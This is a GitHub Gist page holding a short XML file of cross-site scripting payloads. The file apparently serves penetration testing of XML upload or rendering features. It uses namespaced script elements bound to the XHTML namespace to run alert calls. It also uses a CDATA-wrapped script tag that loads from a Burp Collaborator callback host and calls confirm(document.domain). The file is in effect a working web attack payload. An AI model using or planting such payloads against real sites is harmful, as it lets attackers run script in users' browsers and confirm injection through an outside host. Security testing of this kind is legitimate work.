Skip to content

Instantly share code, notes, and snippets.

@rootsploit

rootsploit/XML-XSS.xml

Created December 13, 2020 08:26
Show Gist options
  • Save rootsploit/f3d0baddc014e55e47539dfedf2ecf22 to your computer and use it in GitHub Desktop.
Save rootsploit/f3d0baddc014e55e47539dfedf2ecf22 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
XML-XSS.xml
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
<info>
<name>
<value><![CDATA[<script src="https://6u1puty8wuqb7l3utbuq0jizwq2jq8.burpcollaborator.net">confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Hello</value>
</description>
</info>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment